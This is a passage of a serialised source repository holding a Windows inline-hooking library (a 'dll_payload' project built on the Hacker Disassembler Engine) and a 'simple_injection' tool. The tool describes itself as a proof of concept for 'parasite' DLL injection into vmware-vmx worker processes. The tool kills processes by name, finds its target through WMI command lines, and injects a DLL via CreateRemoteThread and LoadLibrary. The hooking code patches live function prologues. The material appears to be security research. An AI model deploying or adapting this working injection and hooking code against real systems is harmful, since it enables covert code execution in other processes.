PREFIX_SEGMENT_GS   0x65\r\n#define PREFIX_LOCK         0xf0\r\n#define PREFIX_REPNZ        0xf2\r\n#define PREFIX_REPX         0xf3\r\n#define PREFIX_OPERAND_SIZE 0x66\r\n#define PREFIX_ADDRESS_SIZE 0x67\r\n\r\n#pragma pack(push,1)\r\n\r\ntypedef struct {\r\n    uint8_t len;\r\n    uint8_t p_rep;\r\n    uint8_t p_lock;\r\n    uint8_t p_seg;\r\n    uint8_t p_66;\r\n    uint8_t p_67;\r\n    uint8_t rex;\r\n    uint8_t rex_w;\r\n    uint8_t rex_r;\r\n    uint8_t rex_x;\r\n    uint8_t rex_b; \r\n    uint8_t opcode;\r\n    uint8_t opcode2;\r\n    uint8_t modrm;\r\n    uint8_t modrm_mod;\r\n    uint8_t modrm_reg;\r\n    uint8_t modrm_rm;\r\n    uint8_t sib;\r\n    uint8_t sib_scale;\r\n    uint8_t sib_index;\r\n    uint8_t sib_base;\r\n    union {\r\n        uint8_t imm8;\r\n        uint16_t imm16;\r\n        uint32_t imm32;\r\n        uint64_t imm64;\r\n    } imm;\r\n    union {\r\n        uint8_t disp8;\r\n        uint16_t disp16;\r\n        uint32_t disp32;\r\n    } disp;\r\n    uint32_t flags;\r\n} hde64s;\r\n\r\n#pragma pack(pop)\r\n\r\n\r\nunsigned int hde64_disasm(const void *code, hde64s *hs);\r\n\r\n#endif /* _HDE64_H_ */\r\n\r\n"
  },
  {
    "path": "dll_payload/dll_payload/hde/table64.h",
    "content": "/*\n * Hacker Disassembler Engine 64 C\n * Copyright (c) 2008-2009, Vyacheslav Patkov.\n * All rights reserved.\n *\n */\n\n#define C_NONE    0x00\n#define C_MODRM   0x01\n#define C_IMM8    0x02\n#define C_IMM16   0x04\n#define C_IMM_P66 0x10\n#define C_REL8    0x20\n#define C_REL32   0x40\n#define C_GROUP   0x80\n#define C_ERROR   0xff\n\n#define PRE_ANY  0x00\n#define PRE_NONE 0x01\n#define PRE_F2   0x02\n#define PRE_F3   0x04\n#define PRE_66   0x08\n#define PRE_67   0x10\n#define PRE_LOCK 0x20\n#define PRE_SEG  0x40\n#define PRE_ALL  0xff\n\n#define DELTA_OPCODES      0x4a\n#define DELTA_FPU_REG      0xfd\n#define DELTA_FPU_MODRM    0x104\n#define DELTA_PREFIXES     0x13c\n#define DELTA_OP_LOCK_OK   0x1ae\n#define DELTA_OP2_LOCK_OK  0x1c6\n#define DELTA_OP_ONLY_MEM  0x1d8\n#define DELTA_OP2_ONLY_MEM 0x1e7\n\nunsigned char hde64_table[] = {\n  0xa5,0xaa,0xa5,0xb8,0xa5,0xaa,0xa5,0xaa,0xa5,0xb8,0xa5,0xb8,0xa5,0xb8,0xa5,\n  0xb8,0xc0,0xc0,0xc0,0xc0,0xc0,0xc0,0xc0,0xc0,0xac,0xc0,0xcc,0xc0,0xa1,0xa1,\n  0xa1,0xa1,0xb1,0xa5,0xa5,0xa6,0xc0,0xc0,0xd7,0xda,0xe0,0xc0,0xe4,0xc0,0xea,\n  0xea,0xe0,0xe0,0x98,0xc8,0xee,0xf1,0xa5,0xd3,0xa5,0xa5,0xa1,0xea,0x9e,0xc0,\n  0xc0,0xc2,0xc0,0xe6,0x03,0x7f,0x11,0x7f,0x01,0x7f,0x01,0x3f,0x01,0x01,0xab,\n  0x8b,0x90,0x64,0x5b,0x5b,0x5b,0x5b,0x5b,0x92,0x5b,0x5b,0x76,0x90,0x92,0x92,\n  0x5b,0x5b,0x5b,0x5b,0x5b,0x5b,0x5b,0x5b,0x5b,0x5b,0x5b,0x5b,0x6a,0x73,0x90,\n  0x5b,0x52,0x52,0x52,0x52,0x5b,0x5b,0x5b,0x5b,0x77,0x7c,0x77,0x85,0x5b,0x5b,\n  0x70,0x5b,0x7a,0xaf,0x76,0x76,0x5b,0x5b,0x5b,0x5b,0x5b,0x5b,0x5b,0x5b,0x5b,\n  0x5b,0x5b,0x86,0x01,0x03,0x01,0x04,0x03,0xd5,0x03,0xd5,0x03,0xcc,0x01,0xbc,\n  0x03,0xf0,0x03,0x03,0x04,0x00,0x50,0x50,0x50,0x50,0xff,0x20,0x20,0x20,0x20,\n  0x01,0x01,0x01,0x01,0xc4,0x02,0x10,0xff,0xff,0xff,0x01,0x00,0x03,0x11,0xff,\n  0x03,0xc4,0xc6,0xc8,0x02,0x10,0x00,0xff,0xcc,0x01,0x01,0x01,0x00,0x00,0x00,\n  0x00,0x01,0x01,0x03,0x01,0xff,0xff,0xc0,0xc2,0x10,0x11,0x02,0x03,0x01,0x01,\n  0x01,0xff,0xff,0xff,0x00,0x00,0x00,0xff,0x00,0x00,0xff,0xff,0xff,0xff,0x10,\n  0x10,0x10,0x10,0x02,0x10,0x00,0x00,0xc6,0xc8,0x02,0x02,0x02,0x02,0x06,0x00,\n  0x04,0x00,0x02,0xff,0x00,0xc0,0xc2,0x01,0x01,0x03,0x03,0x03,0xca,0x40,0x00,\n  0x0a,0x00,0x04,0x00,0x00,0x00,0x00,0x7f,0x00,0x33,0x01,0x00,0x00,0x00,0x00,\n  0x00,0x00,0xff,0xbf,0xff,0xff,0x00,0x00,0x00,0x00,0x07,0x00,0x00,0xff,0x00,\n  0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xff,0xff,\n  0x00,0x00,0x00,0xbf,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x7f,0x00,0x00,\n  0xff,0x40,0x40,0x40,0x40,0x41,0x49,0x40,0x40,0x40,0x40,0x4c,0x42,0x40,0x40,\n  0x40,0x40,0x40,0x40,0x40,0x40,0x4f,0x44,0x53,0x40,0x40,0x40,0x44,0x57,0x43,\n  0x5c,0x40,0x60,0x40,0x40,0x40,0x40,0x40,0x40,0x40,0x40,0x40,0x40,0x40,0x40,\n  0x40,0x40,0x64,0x66,0x6e,0x6b,0x40,0x40,0x6a,0x46,0x40,0x40,0x44,0x46,0x40,\n  0x40,0x5b,0x44,0x40,0x40,0x00,0x00,0x00,0x00,0x06,0x06,0x06,0x06,0x01,0x06,\n  0x06,0x02,0x06,0x06,0x00,0x06,0x00,0x0a,0x0a,0x00,0x00,0x00,0x02,0x07,0x07,\n  0x06,0x02,0x0d,0x06,0x06,0x06,0x0e,0x05,0x05,0x02,0x02,0x00,0x00,0x04,0x04,\n  0x04,0x04,0x05,0x06,0x06,0x06,0x00,0x00,0x00,0x0e,0x00,0x00,0x08,0x00,0x10,\n  0x00,0x18,0x00,0x20,0x00,0x28,0x00,0x30,0x00,0x80,0x01,0x82,0x01,0x86,0x00,\n  0xf6,0xcf,0xfe,0x3f,0xab,0x00,0xb0,0x00,0xb1,0x00,0xb3,0x00,0xba,0xf8,0xbb,\n  0x00,0xc0,0x00,0xc1,0x00,0xc7,0xbf,0x62,0xff,0x00,0x8d,0xff,0x00,0xc4,0xff,\n  0x00,0xc5,0xff,0x00,0xff,0xff,0xeb,0x01,0xff,0x0e,0x12,0x08,0x00,0x13,0x09,\n  0x00,0x16,0x08,0x00,0x17,0x09,0x00,0x2b,0x09,0x00,0xae,0xff,0x07,0xb2,0xff,\n  0x00,0xb4,0xff,0x00,0xb5,0xff,0x00,0xc3,0x01,0x00,0xc7,0xff,0xbf,0xe7,0x08,\n  0x00,0xf0,0x02,0x00\n};\n"
  },
  {
    "path": "dll_payload/dll_payload/hook.cpp",
    "content": "#include \"stdafx.h\"\r\n#include \"stdlib.h\"\r\n\r\n#include \"stdio.h\"\r\n\r\n#include \"uhde.h\"\r\n#include \"hook.h\"\r\n\r\n\r\nuhde64 hde;\r\nBYTE op_ret[]={ 0xC3 };\r\nBYTE op_jmp[]={ 0xE9 };\r\nBYTE op_push[]={ 0x68 };\r\nBYTE op_movddesp[]={ 0xC7, 0x44, 0x24, 0x04 };\r\n\r\nbool hook::sethook(PVOID hookaddr,PVOID hookingcode, PVOID *restore_code_ptr)\r\n{\r\n\tif (hook_active)\r\n\t\treturn 0;\r\n\r\n\tlen=0;\r\n\r\n\r\n\twhile (len<hooksize)\r\n\t{\r\n\t len += hde.disasm(((PBYTE)hookaddr)+len);\r\n\t if (hde.gethdes()->opcode>=0x70 && hde.gethdes()->opcode<=0x7F)\r\n\t\t return 0;\r\n\t if (hde.gethdes()->opcode==0x0F && hde.gethdes()->modrm>=0x80 && hde.gethdes()->modrm<=0x8F)\r\n\t\t return 0;\r\n\t if (hde.gethdes()->opcode==0xE8 || hde.gethdes()->opcode==0xE9)\r\n\t\t return 0;\r\n\t if (hde.gethdes()->opcode==0xCC)\r\n\t\t return 0;\r\n\t}\r\n\tif (len > 32) \r\n\t\treturn 0;\r\n\r\n\r\n\trestore_buffer=(PVOID)::VirtualAllocEx(GetCurrentProcess(), 0, len+hooksize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);\r\n\tif (!restore_buffer)\r\n\t\treturn 0;\r\n\r\n\r\n\t__try {\r\n\r\n\t\tRtlCopyMemory(restore_buffer, hookaddr, len);\r\n\t\t\r\n#ifdef _WIN64\r\n\t\tULONG p1,p2;\r\n\t\tp1=(ULONG)LODWORD((dptr)((PCHAR)hookaddr+len));\r\n\t\tp2=(ULONG)HIDWORD((dptr)hookaddr);\r\n\r\n\t\tRtlCopyMemory((PVOID)((PBYTE)restore_buffer+len), &op_push, sizeof(op_push));\r\n\t\tRtlCopyMemory((PVOID)((PBYTE)restore_buffer+len+sizeof(op_push)), &p1, sizeof(__int32));\r\n\t\tRtlCopyMemory((PVOID)((PBYTE)restore_buffer+len+sizeof(op_push)+sizeof(__int32)), &op_movddesp, sizeof(op_movddesp));\r\n\t\tRtlCopyMemory((PVOID)((PBYTE)restore_buffer+len+sizeof(op_push)+sizeof(__int32)+sizeof(op_movddesp)), &p2, sizeof(__int32));\r\n\t\tRtlCopyMemory((PVOID)((PBYTE)restore_buffer+len+sizeof(op_push)+sizeof(__int32)+sizeof(op_movddesp)+sizeof(__int32)), &op_ret, sizeof(op_ret));\r\n#else\r\n\t\tRtlCopyMemory((PVOID)((PBYTE)coderestore+len), &opcode_jmp, sizeof(opcode_jmp));\r\n\t\tBYTE *jmpto=(PBYTE)((PBYTE)codetohook-(BYTE *)coderestore-hooksize);\r\n\t\tRtlCopyMemory((PVOID)((PBYTE)coderestore+len+1), &jmpto, sizeof(__int32));\r\n#endif\r\n\t}__except (EXCEPTION_EXECUTE_HANDLER) {return 0;}\r\n\r\n\t\r\n\tDWORD oldprot;\r\n\r\n\t::VirtualProtect(hookaddr, hooksize, PAGE_EXECUTE_READWRITE, &oldprot);\r\n\r\n\t__try {\r\n\r\n#ifdef _WIN64\r\n\t\tULONG p1,p2;\r\n\t\tp1=(ULONG)LODWORD((dptr)hookingcode);\r\n\t\tp2=(ULONG)HIDWORD((dptr)hookingcode);\r\n\r\n\t\tRtlCopyMemory((PVOID)((PBYTE)hookaddr),&op_push,sizeof(op_push));\r\n\t\tRtlCopyMemory((PVOID)((PBYTE)hookaddr+sizeof(op_push)), &p1, sizeof(__int32));\r\n\t\tRtlCopyMemory((PVOID)((PBYTE)hookaddr+sizeof(op_push)+sizeof(__int32)),&op_movddesp, sizeof(op_movddesp));\r\n\t\tRtlCopyMemory((PVOID)((PBYTE)hookaddr+sizeof(op_push)+sizeof(__int32)+sizeof(op_movddesp)), &p2, sizeof(__int32));\r\n\t\tRtlCopyMemory((PVOID)((PBYTE)hookaddr+sizeof(op_push)+sizeof(__int32)+sizeof(op_movddesp)+sizeof(__int32)), &op_ret, sizeof(op_ret));\r\n\r\n#else\r\n\t\tRtlCopyMemory((PVOID)((PBYTE)codetohook), &opcode_jmp, sizeof(opcode_jmp));\r\n\t\tPBYTE jmptorel=(PBYTE)((PBYTE)hookcode-(PBYTE)codetohook-hooksize);\r\n\t\tRtlCopyMemory((PVOID)((PBYTE)codetohook+1), &jmptorel,4);\r\n#endif\r\n\r\n\t}__except (EXCEPTION_EXECUTE_HANDLER) {return 0;}\r\n\r\n\t::VirtualProtect(hookaddr, hooksize, oldprot, &oldprot);\r\n\r\n\t*restore_code_ptr=(PVOID)restore_buffer;\r\n\thook_active=1;\r\n\r\n\treturn 1;\t\r\n}\r\n"
  },
  {
    "path": "dll_payload/dll_payload/hook.h",
    "content": "\r\n\r\n#define LODWORD(_qw)    (unsigned long)(_qw)\r\n#define HIDWORD(_qw)    (unsigned long)((_qw)>>32)\r\n\r\n#ifdef _WIN64\r\n#define dptr unsigned __int64\r\n#else\r\n#define dptr unsigned __int32\r\n#endif\r\n\r\n#ifdef _WIN64\r\n#define hooksize 14 // jmp addr\r\n#else\r\n#define hooksize 5 // jmp addr\r\n#endif\r\n\r\nclass hook{\r\npublic:\r\n\tbool sethook(void *,void *, void **);\r\n\tvoid *restore_buffer;\r\nprivate:\r\n\tunsigned long len;\r\n\tbool hook_active;\r\n};\r\n\r\n"
  },
  {
    "path": "dll_payload/dll_payload/stdafx.cpp",
    "content": "// stdafx.cpp : source file that includes just the standard includes\r\n// dll_payload.pch will be the pre-compiled header\r\n// stdafx.obj will contain the pre-compiled type information\r\n\r\n#include \"stdafx.h\"\r\n\r\n// TODO: reference any additional headers you need in STDAFX.H\r\n// and not in this file\r\n\r\n\r\n"
  },
  {
    "path": "dll_payload/dll_payload/stdafx.h",
    "content": "// stdafx.h : include file for standard system include files,\r\n// or project specific include files that are used frequently, but\r\n// are changed infrequently\r\n//\r\n\r\n#pragma once\r\n\r\n#include \"targetver.h\"\r\n\r\n#define WIN32_LEAN_AND_MEAN             // Exclude rarely-used stuff from Windows headers\r\n// Windows Header Files:\r\n#include <windows.h>\r\n\r\n\r\n\r\n// TODO: reference additional headers your program requires here\r\n\r\n"
  },
  {
    "path": "dll_payload/dll_payload/targetver.h",
    "content": "#pragma once\r\n\r\n// Including SDKDDKVer.h defines the highest available Windows platform.\r\n\r\n// If you wish to build your application for a previous Windows platform, include WinSDKVer.h and\r\n// set the _WIN32_WINNT macro to the platform you wish to support before including SDKDDKVer.h.\r\n\r\n#include <SDKDDKVer.h>\r\n\r\n"
  },
  {
    "path": "dll_payload/dll_payload/uhde.cpp",
    "content": "#include \"stdafx.h\"\r\n#include \"uhde.h\"\r\n\r\nunsigned long uhde64::disasm(const void *code)\r\n{\r\n\treturn  hde64_disasm(code,&hde64s_tmp);\r\n}\r\n\r\nhde64s *uhde64::gethdes()\r\n{\r\n\treturn &hde64s_tmp;\r\n}"
  },
  {
    "path": "dll_payload/dll_payload/uhde.h",
    "content": "#ifndef _UHDE_H_\r\n#define _UHDE_H_\r\n#include \"hde\\\\hde64.h\"\r\n\r\nclass uhde64{\r\npublic:\r\n\tunsigned long disasm(const void *);\r\n\thde64s *gethdes();\r\nprivate:\r\n\thde64s hde64s_tmp;\r\n};\r\n#endif /* _UHDE_H_ */\r\n\r\n\r\n\r\n"
  },
  {
    "path": "dll_payload/dll_payload.sln",
    "content": "﻿\r\nMicrosoft Visual Studio Solution File, Format Version 12.00\r\n# Visual Studio 14\r\nVisualStudioVersion = 14.0.24720.0\r\nMinimumVisualStudioVersion = 10.0.40219.1\r\nProject(\"{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}\") = \"dll_payload\", \"dll_payload\\dll_payload.vcxproj\", \"{C430A90E-331B-46B0-83DE-6697BF409895}\"\r\nEndProject\r\nGlobal\r\n\tGlobalSection(SolutionConfigurationPlatforms) = preSolution\r\n\t\tDebug|x64 = Debug|x64\r\n\t\tDebug|x86 = Debug|x86\r\n\t\tRelease|x64 = Release|x64\r\n\t\tRelease|x86 = Release|x86\r\n\tEndGlobalSection\r\n\tGlobalSection(ProjectConfigurationPlatforms) = postSolution\r\n\t\t{C430A90E-331B-46B0-83DE-6697BF409895}.Debug|x64.ActiveCfg = Debug|x64\r\n\t\t{C430A90E-331B-46B0-83DE-6697BF409895}.Debug|x64.Build.0 = Debug|x64\r\n\t\t{C430A90E-331B-46B0-83DE-6697BF409895}.Debug|x86.ActiveCfg = Debug|Win32\r\n\t\t{C430A90E-331B-46B0-83DE-6697BF409895}.Debug|x86.Build.0 = Debug|Win32\r\n\t\t{C430A90E-331B-46B0-83DE-6697BF409895}.Release|x64.ActiveCfg = Release|x64\r\n\t\t{C430A90E-331B-46B0-83DE-6697BF409895}.Release|x64.Build.0 = Release|x64\r\n\t\t{C430A90E-331B-46B0-83DE-6697BF409895}.Release|x86.ActiveCfg = Release|Win32\r\n\t\t{C430A90E-331B-46B0-83DE-6697BF409895}.Release|x86.Build.0 = Release|Win32\r\n\tEndGlobalSection\r\n\tGlobalSection(SolutionProperties) = preSolution\r\n\t\tHideSolutionNode = FALSE\r\n\tEndGlobalSection\r\nEndGlobal\r\n"
  },
  {
    "path": "simple_injection/simple_injection/simple_injection.cpp",
    "content": "// simple_injection.cpp : Defines the entry point for the console application.\r\n//\r\n\r\n// build: Use Multi-Byte Character Set, x64\r\n// \r\n//\r\n\r\n#include \"stdafx.h\"\r\n#include <windows.h>\r\n#include <tlhelp32.h>\r\n\r\n#include <wbemidl.h>\r\n#pragma comment(lib, \"wbemuuid.lib\")\r\n\r\nvoid try_kill_all_processes_by_name(TCHAR *proc_name)\r\n{\r\n\tHANDLE hProcessSnap;\r\n\tPROCESSENTRY32 pe32;\r\n\r\n\thProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);\r\n\tif (hProcessSnap != INVALID_HANDLE_VALUE)\r\n\t{\r\n\t\tpe32.dwSize = sizeof(PROCESSENTRY32);\r\n\t\tif (Process32First(hProcessSnap, &pe32))\r\n\t\t{\r\n\t\t\tdo\r\n\t\t\t{\r\n\t\t\t\tif (!_tcsnicmp(pe32.szExeFile, proc_name, MAX_PATH))\r\n\t\t\t\t{\r\n\t\t\t\t\tHANDLE hProcess = OpenProcess(PROCESS_TERMINATE, FALSE, pe32.th32ProcessID);\r\n\t\t\t\t\tif (hProcess)\r\n\t\t\t\t\t{\r\n\t\t\t\t\t\tBOOL result = TerminateProcess(hProcess, -1);\r\n\t\t\t\t\t\tCloseHandle(hProcess);\r\n\t\t\t\t\t}\t\t\t\t\t\t\r\n\t\t\t\t}\r\n\r\n\t\t\t} while (Process32Next(hProcessSnap, &pe32));\r\n\t\t}\r\n\t\telse\r\n\t\t\tprintf(\"Process32First failed\\r\\n\");\r\n\r\n\t}\r\n\telse\r\n\t\tprintf(\"CreateToolhelp32Snapshot failed\\r\\n\");\r\n}\r\n\r\nvoid get_process_cmdline(DWORD pid, wchar_t *cmdline, DWORD cmdline_size)\r\n{\r\n\r\n\tHRESULT hr = 0;\r\n\tIWbemLocator         *WbemLocator = NULL;\r\n\tIWbemServices        *WbemServices = NULL;\r\n\tIEnumWbemClassObject *EnumWbem = NULL;\r\n\r\n\t//initializate the Windows security\r\n\thr = CoInitializeEx(0, COINIT_MULTITHREADED);\r\n\thr = CoInitializeSecurity(NULL, -1, NULL, NULL, RPC_C_AUTHN_LEVEL_DEFAULT, RPC_C_IMP_LEVEL_IMPERSONATE, NULL, EOAC_NONE, NULL);\r\n\thr = CoCreateInstance(CLSID_WbemLocator, 0, CLSCTX_INPROC_SERVER, IID_IWbemLocator, (LPVOID *)&WbemLocator);\r\n\r\n\t//connect to the WMI\r\n\thr = WbemLocator->ConnectServer(L\"ROOT\\\\CIMV2\", NULL, NULL, NULL, 0, NULL, NULL, &WbemServices);\r\n\t//Run the WQL Query\r\n\thr = WbemServices->ExecQuery(L\"WQL\", L\"SELECT ProcessId,CommandLine FROM Win32_Process\", WBEM_FLAG_FORWARD_ONLY, NULL, &EnumWbem);\r\n\r\n\t// Iterate over the enumerator\r\n\tif (EnumWbem != NULL) {\r\n\t\tIWbemClassObject *result = NULL;\r\n\t\tULONG returnedCount = 0;\r\n\r\n\t\twhile ((hr = EnumWbem->Next(WBEM_INFINITE, 1, &result, &returnedCount)) == S_OK) \r\n\t\t{\r\n\t\t\tVARIANT ProcessId;\r\n\t\t\tVARIANT CommandLine;\r\n\r\n\t\t\t// access the properties\r\n\t\t\thr = result->Get(L\"ProcessId\", 0, &ProcessId, 0, 0);\r\n\t\t\tif (hr == S_OK)\r\n\t\t\t{\r\n\t\t\t\thr = result->Get(L\"CommandLine\", 0, &CommandLine, 0, 0);\r\n\r\n\t\t\t\tif (ProcessId.uintVal == pid && hr == S_OK && SysStringLen(CommandLine.bstrVal) != 0)\r\n\t\t\t\t{\r\n\t\t\t\t\tprintf(\"cmdline: %ws\\r\\n\", CommandLine.bstrVal);\r\n\t\t\t\t\twcscpy_s(cmdline, cmdline_size, CommandLine.bstrVal);\r\n\t\t\t\t\tresult->Release();\r\n\t\t\t\t\tbreak;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\r\n\r\n\t\t\tresult->Release();\r\n\t\t}\r\n\t}\r\n\r\n\t// Release the resources\r\n\tEnumWbem->Release();\r\n\tWbemServices->Release();\r\n\tWbemLocator->Release();\r\n\r\n\tCoUninitialize();\r\n}\r\n\r\nDWORD get_pid_by_process_name(TCHAR *proc_name, wchar_t *cmdline, DWORD cmdline_size, TCHAR *vm_dummy_name)\r\n{\r\n\tHANDLE hProcessSnap;\r\n\tPROCESSENTRY32 pe32;\r\n\tDWORD pidy=0;\r\n\r\n\thProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);\r\n\tif (hProcessSnap != INVALID_HANDLE_VALUE)\r\n\t{\r\n\t\tpe32.dwSize = sizeof(PROCESSENTRY32);\r\n\t\tif (Process32First(hProcessSnap, &pe32))\r\n\t\t{\r\n\t\t\tdo\r\n\t\t\t{\r\n\t\t\t\tif (!_tcsnicmp(pe32.szExeFile, proc_name, MAX_PATH))\r\n\t\t\t\t{\r\n\t\t\t\t\twchar_t vm_dummy_name_wcs[255];\r\n\t\t\t\t\tSIZE_T dummy_size;\r\n\t\t\t\t\tvm_dummy_name_wcs[0] = 0;\r\n\t\t\t\t\tvm_dummy_name_wcs[1] = 0;\r\n\t\t\t\t\tmbstowcs_s(&dummy_size, vm_dummy_name_wcs, 255, vm_dummy_name, 255);\r\n\t\t\t\t\tget_process_cmdline(pe32.th32ProcessID, cmdline, cmdline_size);\r\n\t\r\n\t\t\t\t\t__try\r\n\t\t\t\t\t{\r\n\t\t\t\t\t\tif (wcswcs(cmdline, vm_dummy_name_wcs))\r\n\t\t\t\t\t\t{\r\n\t\t\t\t\t\t\tpidy=pe32.th32ProcessID;\r\n\t\t\t\t\t\t\tbreak;\r\n\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t}\r\n\t\t\t\t\t__except(EXCEPTION_EXECUTE_HANDLER)\r\n\t\t\t\t\t{ }\r\n\t\t\t\t}\r\n\r\n\t\t\t} while (Process32Next(hProcessSnap, &pe32));\r\n\t\t}\r\n\t\telse\r\n\t\t\tprintf(\"Process32First failed\\r\\n\");\r\n\r\n\t\tCloseHandle(hProcessSnap);\r\n\t}\r\n\telse\r\n\t\tprintf(\"CreateToolhelp32Snapshot failed\\r\\n\");\r\n\r\n\t\r\n\treturn pidy;\r\n}\r\n\r\n\r\nbool inject_dll(DWORD pid, TCHAR *dll_path)\r\n{\r\n\tbool ret = 0;\r\n\tHANDLE hProcess, hThread;\r\n\r\n\thProcess = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_VM_WRITE | PROCESS_VM_OPERATION, FALSE, pid);\r\n\r\n\tif (hProcess)\r\n\t{\r\n\t\tSIZE_T dllpath_len= (_tcslen(dll_path) + 1) * sizeof(TCHAR);\r\n\t\tPVOID str_alloc = VirtualAllocEx(hProcess, NULL, dllpath_len + 2, MEM_COMMIT, PAGE_EXECUTE_READWRITE);\r\n\t\tif (str_alloc)\r\n\t\t{\r\n\t\t\tSIZE_T byteswrote=0;\r\n\r\n\r\n\t\t\tif (WriteProcessMemory(hProcess, str_alloc, dll_path, dllpath_len, &byteswrote) && byteswrote!=0)\r\n\t\t\t{\r\n\t\t\t\thThread = CreateRemoteThread(hProcess,NULL, 0, (LPTHREAD_START_ROUTINE)LoadLibrary, str_alloc, 0, NULL);\r\n\t\t\t\tif (hThread)\r\n\t\t\t\t{\r\n\t\t\t\t\tWaitForSingleObject(hThread, INFINITE);\r\n\t\t\t\t\tprintf(\"injection seems sucessful\\r\\n\");\r\n\t\t\t\t\tret = 1;\r\n\t\t\t\t}\r\n\t\t\t\telse\r\n\t\t\t\t\tprintf(\"failed to create remote thread in pid: %d\\r\\n\", pid);\r\n\r\n\t\t\t\t\r\n\t\t\t}\r\n\t\t\telse\r\n\t\t\t\tprintf(\"failed to write memory in pid: %d\\r\\n\", pid);\r\n\r\n\t\t}\r\n\t\telse\r\n\t\t\tprintf(\"failed to allocate memory in pid: %d\\r\\n\", pid);\r\n\t}\r\n\telse\r\n\t\tprintf(\"failed to open process, pid: %d\\r\\n\",pid);\r\n\r\n\treturn ret;\r\n}\r\n\r\n\r\nint main(int argc, TCHAR *argv[])\r\n{\r\n\tbool result = 0;\r\n\tprintf(\"simple X64 PoC for vmware-vmx worker parasite dll injection\\r\\n\\r\\n\");\r\n\tif (argc == 2)\r\n\t{\r\n\t\tprintf(\"trying to kill all processes %hs\\n\\r\\n\", argv[1]);\r\n\t\ttry_kill_all_processes_by_name(argv[1]);\r\n\t}\r\n\telse if (argc == 4)\r\n\t{\r\n\t\tprintf(\"trying to inject %hs\\r\\nto first process with name: %hs and cmdline: %hs\\r\\n\\r\\n\", argv[2], argv[1], argv[3]);\r\n\t\twchar_t cmdline[2048];\r\n\t\tcmdline[0] = 0;\r\n\t\tcmdline[1] = 0;\r\n\t\tDWORD pid = get_pid_by_process_name(argv[1], cmdline, 2048, argv[3]);\r\n\t\tif (pid)\r\n\t\t{\r\n\t\t\tprintf(\"injecting dll to %hs - pid:%d\\r\\n\", argv[1], pid);\r\n\t\t\tresult=inject_dll(pid, argv[2]);\r\n\t\t}\r\n\t\telse\r\n\t\t\tprintf(\"failed to locate pid for %hs\\r\\n\", argv[1]);\r\n\t}\r\n\telse\r\n\t\tprintf(\"usage: \\r\\n%hs processname.exe c:\\\\dir\\\\lib.dll dummy_vm_name\\r\\nto kill all processed with name:\\r\\n %hs processname.exe\\r\\n\\r\\n\", argv[0], argv[0]);\r\n\r\n    return result;\r\n}\r\n"
  },
  {
    "path": "simple_injection/simple_injection/simple_injection.vcxproj",
    "content": "﻿<?xml version=\"1.0\" encoding=\"utf-8\"?>\r\n<Project DefaultTargets=\"Build\" ToolsVersion=\"14.0\" xmlns=\"http://schemas.microsoft.com/developer/msbuild/2003\">\r\n  <ItemGroup Label=\"ProjectConfigurations\">\r\n    <ProjectConfiguration Include=\"Debug|Win32\">\r\n      <Configuration>Debug</Configuration>\r\n      <Platform>Win32</Platform>\r\n    </ProjectConfiguration>\r\n    <ProjectConfiguration Include=\"Release|Win32\">\r\n      <Configuration>Release</Configuration>\r\n      <Platform>Win32</Platform>\r\n    </ProjectConfiguration>\r\n    <ProjectConfiguration Include=\"Debug|x64\">\r\n      <Configuration>Debug</Configuration>\r\n      <Platform>x64</Platform>\r\n    </ProjectConfiguration>\r\n    <ProjectConfiguration Include=\"Release|x64\">\r\n      <Configuration>Release</Configuration>\r\n      <Platform>x64</Platform>\r\n    </ProjectConfiguration>\r\n  </ItemGroup>\r\n  <PropertyGroup Label=\"Globals\">\r\n    <ProjectGuid>{10ED7C22-0A9E-4278-92C4-BE03DFC99AD3}</ProjectGuid>\r\n    <Keyword>Win32Proj</Keyword>\r\n    <RootNamespace>simple_injection</RootNamespace>\r\n    <WindowsTargetPlatformVersion>8.1</WindowsTargetPlatformVersion>\r\n  </PropertyGroup>\r\n  <Import Project=\"$(VCTargetsPath)\\Microsoft.Cpp.Default.props\" />\r\n  <PropertyGroup Condition=\"'$(Configuration)|$(Platform)'=='Debug|Win32'\" Label=\"Configuration\">\r\n    <ConfigurationType>Application</ConfigurationType>\r\n    <UseDebugLibraries>true</UseDebugLibraries>\r\n    <PlatformToolset>v140</PlatformToolset>\r\n    <CharacterSet>Unicode</CharacterSet>\r\n  </PropertyGroup>\r\n  <PropertyGroup Condition=\"'$(Configuration)|$(Platform)'=='Release|Win32'\" Label=\"Configuration\">\r\n    <ConfigurationType>Application</ConfigurationType>\r\n    <UseDebugLibraries>false</UseDebugLibraries>\r\n    <PlatformToolset>v140</PlatformToolset>\r\n    <WholeProgramOptimization>true</WholeProgramOptimization>\r\n    <CharacterSet>Unicode</CharacterSet>\r\n  </PropertyGroup>\r\n  <PropertyGroup Condition=\"'$(Configuration)|$(Platform)'=='Debug|x64'\" Label=\"Configuration\">\r\n    <ConfigurationType>Application</ConfigurationType>\r\n    <UseDebugLibraries>true</UseDebugLibraries>\r\n    <PlatformToolset>v140</PlatformToolset>\r\n    <CharacterSet>Unicode</CharacterSet>\r\n  </PropertyGroup>\r\n  <PropertyGroup Condition=\"'$(Configuration)|$(Platform)'=='Release|x64'\" Label=\"Configuration\">\r\n    <ConfigurationType>Application</ConfigurationType>\r\n    <UseDebugLibraries>false</UseDebugLibraries>\r\n    <PlatformToolset>v140</PlatformToolset>\r\n    <WholeProgramOptimization>true</WholeProgramOptimization>\r\n    <CharacterSet>MultiByte</CharacterSet>\r\n  </PropertyGroup>\r\n  <Import Project=\"$(VCTargetsPath)\\Microsoft.Cpp.props\" />\r\n  <ImportGroup Label=\"ExtensionSettings\">\r\n  </ImportGroup>\r\n  <ImportGroup Label=\"Shared\">\r\n  </ImportGroup>\r\n  <ImportGroup Label=\"PropertySheets\" Condition=\"'$(Configuration)|$(Platform)'=='Debug|Win32'\">\r\n    <Import Project=\"$(UserRootDir)\\Microsoft.Cpp.$(Platform).user.props\" Condition=\"exists('$(UserRootDir)\\Microsoft.Cpp.$(Platform).user.props')\" Label=\"LocalAppDataPlatform\" />\r\n  </ImportGroup>\r\n  <ImportGroup Label=\"PropertySheets\" 